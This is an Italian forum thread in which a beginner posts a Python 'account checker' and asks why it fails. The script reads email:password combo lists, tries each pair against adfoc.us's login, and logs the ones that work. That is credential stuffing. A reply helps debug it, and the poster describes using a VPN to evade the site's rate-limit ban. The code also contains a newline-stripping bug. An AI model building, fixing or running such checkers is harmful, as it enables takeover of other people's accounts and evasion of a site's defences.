PROBLEMA Phyton Account Checker

Pubblicità

Matty Tuber

Nuovo Utente
Messaggi
66
Reazioni
1
Punteggio
28
Buongiorno a tutti,
sono un neofita di questo linguaggio, per mio interesse ho da poco iniziato a conoscerlo. Ho iniziato facendo i soliti esercizi con piccoli calcoli if, else, while ecc.

Seguendo qualche tutorial ho provato a creare un checker di account, come mostrava il tutorial ho provato con adfoc.us ed il risultato è stato questo codice qui:

Python:
import requests



def failed(email, password):

    print(f"Failed: {email}:{password}")



def passed(email, password):

    print(f"Success: {email}:{password}")

    print(f"{email}:{password}", file=open("Test.txt", "w"))



def checker(data):

    email = data[0]

    password = data[1]

    success_keyword = """<strong>Today's Earnings:</strong>"""

    api_sender = requests.session()

    source = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                    "password": password}).text

    if success_keyword in source:

        passed(email, password)

    else:

        failed(email, password)



nome_combo = input("Inserire il nome del file: ")

combo = open(nome_combo, "r").readlines()

arrange = [lines.replace("/n", "")for lines in combo]

for lines in arrange:

    data = lines.split(":")

    checker(data)

Il problema è che qulsiasi account io gli faccia verificare lui lo rileva come non valido...sapreste spiegarmi il motivo ed eventualmente il modo per sistemarlo.

Grazie
 
sì sì però volevo vedere le specifiche del servizio.
Stampa questa riga e posta il risultato, così controlliamo se i dati che mandi son corretti
Python:
source = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                    "password": password}).text
 
sì sì però volevo vedere le specifiche del servizio.
Stampa questa riga e posta il risultato, così controlliamo se i dati che mandi son corretti
Python:
source = api_sender.post("http://adfoc.us/session/create", data={"email": email,
                                                                    "password": password}).text

Ho provato ed il risultato è questo:
<!DOCTYPE html>
<!--[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->
<!--[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->
<!--[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->
<!--[if gt IE 8]><!--> <html class="no-js" lang="en-US"> <!--<![endif]-->
<head>
<title>Access denied | adfoc.us used Cloudflare to restrict access</title>
<meta charset="UTF-8" />
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1" />
<meta name="robots" content="noindex, nofollow" />
<meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1" />
<link rel="stylesheet" id="cf_styles-css" href="/cdn-cgi/styles/cf.errors.css" type="text/css" media="screen,projection" />
<!--[if lt IE 9]><link rel="stylesheet" id='cf_styles-ie-css' href="/cdn-cgi/styles/cf.errors.ie.css" type="text/css" media="screen,projection" /><![endif]-->
<style type="text/css">body{margin:0;padding:0}</style>


<!--[if gte IE 10]><!--><script type="text/javascript" src="/cdn-cgi/scripts/zepto.min.js"></script><!--<![endif]-->
<!--[if gte IE 10]><!--><script type="text/javascript" src="/cdn-cgi/scripts/cf.common.js"></script><!--<![endif]-->



</head>
<body>
<div id="cf-wrapper">
<div class="cf-alert cf-alert-error cf-cookie-error" id="cookie-alert" data-translate="enable_cookies">Please enable cookies.</div>
<div id="cf-error-details" class="cf-error-details-wrapper">
<div class="cf-wrapper cf-header cf-error-overview">
<h1>
<span class="cf-error-type" data-translate="error">Error</span>
<span class="cf-error-code">1015</span>
<small class="heading-ray-id">Ray ID: 4e62fbb87e373e9c &bull; 2019-06-13 09:19:30 UTC</small>
</h1>
<h2 class="cf-subheadline">You are being rate limited</h2>
</div><!-- /.header -->

<section></section><!-- spacer -->

<div class="cf-section cf-wrapper">
<div class="cf-columns two">
<div class="cf-column">
<h2 data-translate="what_happened">What happened?</h2>
<p>The owner of this website (adfoc.us) has banned you temporarily from accessing this website.</p>
</div>


</div>
</div><!-- /.section -->

<div class="cf-error-footer cf-wrapper">
<p>
<span class="cf-footer-item">Cloudflare Ray ID: <strong>4e62fbb87e373e9c</strong></span>
<span class="cf-footer-separator">&bull;</span>
<span class="cf-footer-item"><span>Your IP</span>: 5.102.5.109</span>
<span class="cf-footer-separator">&bull;</span>
<span class="cf-footer-item"><span>Performance &amp; security by</span> <a href="https://www.cloudflare.com/5xx-error-landing?utm_source=error_footer" id="brand_link" target="_blank">Cloudflare</a></span>

</p>
</div><!-- /.error-footer -->


</div><!-- /#cf-error-details -->
</div><!-- /#cf-wrapper -->

<script type="text/javascript">
window._cf_translation = {};


</script>

</body>
</html>
 
Ce l'hai la risposta
The owner of this website (adfoc.us) has banned you temporarily from accessing this website.
 
Ce l'hai la risposta
The owner of this website (adfoc.us) has banned you temporarily from accessing this website.
Ho notato pure io perciò ho provato con una VPN in modo da accedere con un altro ip ma gli account risultavano comunque non validi...quando ho inviato il messaggio di errore di prima ho provato anche a mandare la stampa di source con la vpn attiva ma non so il motivo ma risultavo lo stesso bannato
 
Pubblicità
Pubblicità
Indietro
Top